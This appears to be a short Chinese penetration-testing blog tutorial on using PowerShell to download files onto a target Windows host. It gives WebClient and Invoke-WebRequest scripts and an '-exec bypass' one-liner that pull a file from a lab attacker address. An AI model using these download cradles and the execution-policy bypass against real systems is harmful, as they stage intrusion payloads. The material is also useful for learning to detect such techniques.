专注APT攻击与防御

https://micropoor.blogspot.com/

自Windows7以后内置了powershell，如Windows 7中内置了PowerShell2.0, Windows 8中内置了PowerShell3.0。

靶机：windows 7 powershell $PSVersionTable

down.ps1:

基于System.Net.WebClient

附：

$Urls = @()

$Urls += "http://192.168.1.115/robots.txt"

$OutPath = "E:\PDF\" ForEach ( $item in $Urls) {

$file = $OutPath + ($item).split('/')[-1]

(New-Object System.Net.WebClient).DownloadFile($item, $file) }

靶机：windows 2012 powershell $PSVersionTable

down.ps1:

在powershell 3.0以后，提供wget功能，既Invoke-WebRequest

C:\inetpub>powershell C:\inetpub\down.ps1注：需要绝对路径。

附：

$url = "http://192.168.1.115/robots.txt"

$output = "C:\inetpub\robots.txt"

$start\_time = Get-Date

Invoke-WebRequest -Uri $url -OutFile $output

Write-Output "Time : $((Get-Date).Subtract($start\_time).Seconds) second(s)"

当然也可以一句话执行下载：

powershell -exec bypass -c (new-object

System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')

Micropoor